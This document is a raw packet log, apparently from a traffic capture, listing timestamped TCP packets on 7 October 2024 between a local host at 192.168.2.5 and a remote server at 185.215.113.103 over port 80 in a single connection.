Oct 7, 2024 13:27:25.879537106 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.880400896 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.880414963 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.880480051 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.881247997 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.881261110 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.881305933 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.881321907 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.882153988 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.882167101 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.882177114 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.882225037 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.883024931 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.883037090 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.883095026 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.883939981 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.883951902 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.884005070 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.884839058 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.884856939 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.884903908 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.884917021 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.885536909 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.885549068 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.885559082 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.885586977 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.885637045 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.002321005 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.002429962 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.002474070 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.002486944 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.002536058 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.003134966 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.003148079 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.003160000 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.003206968 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.004231930 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.004246950 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.004337072 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.004751921 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.004765987 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.004777908 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.004826069 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.005794048 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.005806923 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.005819082 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.005830050 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.005851030 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.005887985 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.006843090 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.006855965 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.006870031 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.006936073 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.006936073 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.007911921 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.007925987 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.007941961 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.007999897 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.008959055 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.008972883 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.008984089 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.008996010 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.009016037 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.009059906 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.010015965 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.010030031 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.010040045 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.010098934 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.010116100 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.011234999 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.011248112 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.011259079 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.011291981 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.011318922 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.012149096 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.012162924 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.012172937 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.012183905 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.012207985 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.012231112 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.013186932 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.013199091 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.013209105 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.013241053 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.013287067 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.014282942 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.014308929 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.014321089 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.014334917 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.014358044 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.015317917 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.015331030 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.015341997 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.015408039 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.092679977 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.092751026 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.092806101 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.092856884 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.126286030 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.126398087 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.126409054 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.126411915 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.126454115 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.126761913 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.126775026 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.126840115 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.127101898 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.127115965 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.127167940 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.127721071 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.127733946 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.127747059 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.127777100 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.127815008 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.128482103 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.128494978 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.128505945 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.128532887 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.128556013 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.129437923 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.129451990 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.129462957 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.129475117 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.129523039 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.130386114 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.130403042 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.130415916 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.130464077 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.130492926 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.131337881 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.131350994 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.131361008 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.131371975 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.131423950 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.131423950 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.132112980 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.132128954 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.132139921 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.132153988 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.132200956 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.132225990 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.133122921 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.133141041 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.133153915 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.133179903 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.133181095 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.133192062 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.133218050 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.133253098 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.134129047 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.134144068 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.134155989 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.134169102 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.134190083 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.134221077 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.135154963 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.135170937 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.135181904 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.135194063 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.135205030 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.135230064 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.135258913 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.136159897 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.136176109 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.136187077 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.136198997 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.136209965 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.136234999 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.137144089 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.137159109 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.137170076 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.137182951 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.137193918 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.137212038 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.137237072 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.138186932 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.138202906 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.138214111 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.138225079 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.138238907 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.138266087 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.139202118 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.139216900 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.139226913 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.139240980 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.139251947 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.139260054 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.139300108 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.140208960 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.140224934 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.140235901 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.140249014 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.140297890 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.141160965 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.141175985 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.141186953 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.141197920 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.141218901 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.141252041 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.141999960 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142014980 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142024994 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142039061 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142050028 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142067909 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.142087936 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.142855883 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142872095 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142883062 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142895937 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.142909050 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.142934084 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.219511986 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.219585896 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.219646931 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.219660997 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.219705105 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.220087051 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.220098972 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.220109940 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.220123053 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.220138073 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.220170975 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.220984936 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.221000910 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.221013069 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.221025944 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.221039057 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.221066952 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.221930981 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.221946955 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.221959114 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.221971035 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.221982956 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.221998930 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.222033978 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.250536919 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.250608921 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.250612020 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.250622034 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.250674963 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.250977039 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.250989914 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251000881 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251012087 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251041889 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.251068115 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.251760960 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251852036 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251869917 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251882076 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251893044 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251904964 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.251934052 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.251966000 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.252702951 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.252715111 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.252726078 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.252737045 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.252748013 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.252758980 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.252763987 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.252804995 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.253639936 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.253654957 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.253665924 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.253676891 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.253712893 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.253732920 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.254246950 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.254260063 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.254271030 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.254281998 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.254292965 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.254324913 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.254348993 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.255223036 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.255238056 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.255248070 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.255259037 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.255270958 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.255283117 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.255304098 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.255340099 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.256159067 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.256174088 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.256184101 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.256195068 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.256207943 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.256210089 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.256220102 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.256231070 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.256270885 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.257141113 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.257153988 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.257168055 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.257181883 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.257193089 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.257195950 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.257225990 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.258096933 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.258110046 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.258122921 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.258133888 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.258145094 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.258157015 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.258177042 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.258209944 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.259062052 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.259074926 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.259085894 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.259099007 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.259109974 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.259121895 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.259156942 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.260025978 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.260040998 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.260051966 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.260065079 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.260077000 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.260090113 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.260104895 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.260139942 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.260988951 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.261003017 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.261014938 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.261027098 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.261075020 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.261959076 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.261975050 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.261986017 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.261998892 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.262010098 CEST	80	50023	185.215.113.103	192.168.2.5
